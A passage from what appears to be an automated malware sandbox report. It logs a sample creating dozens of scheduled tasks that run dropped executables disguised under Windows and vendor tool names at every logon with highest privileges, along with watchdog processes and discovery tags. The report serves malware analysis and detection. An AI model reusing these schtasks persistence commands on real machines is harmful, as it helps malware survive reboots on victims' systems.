    schtasks /create /tn "WinTask_unregmp2_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3120
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2628
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wlanext_5" /tr ""C:\Users\Admin\AppData\Roaming\InvokeOut\Logs\UpdateCache\wlanext.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1576
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wlanext_5" /tr ""C:\Users\Admin\AppData\Roaming\InvokeOut\Logs\UpdateCache\wlanext.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2468
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_6" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5116
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RmClient_6" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1352
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5156
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2508
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mobsync_1" /tr ""C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\UpdateCache\mobsync.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:1760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mobsync_1" /tr ""C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\UpdateCache\mobsync.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:200
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_odbcconf_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\odbcconf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2132
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_odbcconf_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\odbcconf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2620
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\UpdateCache\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3380
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\UpdateCache\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2672
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tzutil_6" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2564
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tzutil_6" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4456
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_7" /tr ""C:\ProgramData\MicrosoftService\RMActivate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4276
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_7" /tr ""C:\ProgramData\MicrosoftService\RMActivate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1816
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tar_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\tar.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5396
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tar_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\tar.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3032
- C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\UpdateCache\mobsync.exe
  "C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\UpdateCache\mobsync.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:2800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Netplwiz_1" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Netplwiz_1" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6076
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_icacls_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\icacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3312
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_icacls_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\icacls.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setupugc_3" /tr ""C:\ProgramData\MicrosoftService\setupugc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3868
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setupugc_3" /tr ""C:\ProgramData\MicrosoftService\setupugc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DWWIN_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DWWIN_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5012
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_recover_5" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\UpdateCache\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1200
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_recover_5" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\UpdateCache\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wextract_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\wextract.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1388
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5792
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wextract_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\wextract.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2404
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ieUnatt_7" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\ieUnatt.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ieUnatt_7" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\ieUnatt.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tar_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\tar.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tar_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\tar.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1624
- C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\Netplwiz.exe
  "C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\Netplwiz.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:4740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UnregisterResize_1" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:2628
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UnregisterResize_1" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4860
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:1580
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\ctfmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_vcredist_x86_3" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4396
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_vcredist_x86_3" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3040
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4820
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_powercfg_5" /tr ""C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\UpdateCache\UpdateCache\powercfg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Power Settings
  PID:5804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_powercfg_5" /tr ""C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\UpdateCache\UpdateCache\powercfg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_VC_redist.x86_7" /tr ""C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\UpdateCache\VC_redist.x86.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4228
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_VC_redist.x86_7" /tr ""C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\UpdateCache\VC_redist.x86.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2660
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_8" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4312
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_8" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_1" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4644
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpupdate_1" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2536
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_verclsid_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\verclsid.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:792
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_verclsid_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\verclsid.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4620
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:52
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5928
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2856
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TpmTool_5" /tr ""C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\UpdateCache\UpdateCache\TpmTool.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1876
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TpmTool_5" /tr ""C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\UpdateCache\UpdateCache\TpmTool.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5736
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_curl_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\curl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5280
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1188
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_curl_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\curl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5488
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_eventcreate_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\eventcreate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4768
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_eventcreate_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\eventcreate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1852
- C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\gpupdate.exe
  "C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\gpupdate.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:3908
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_recover_1" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\UpdateCache\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1648
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_recover_1" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\UpdateCache\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2744
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_resmon_2" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3152
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_resmon_2" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttune_5" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6024
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttune_5" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3104
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wextract_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\UpdateCache\wextract.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:404
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5168
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wextract_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\UpdateCache\wextract.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3728
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_vcredist_x64_7" /tr ""C:\ProgramData\Package Cache\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\UpdateCache\vcredist_x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_vcredist_x64_7" /tr ""C:\ProgramData\Package Cache\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\UpdateCache\vcredist_x64.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3056
- C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\UpdateCache\UpdateCache\recover.exe
  "C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\UpdateCache\UpdateCache\recover.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:4912
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3944
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_win32calc_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\win32calc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_win32calc_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\win32calc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1568
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4660
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4936
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mmc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2940
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mmc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
    3⤵
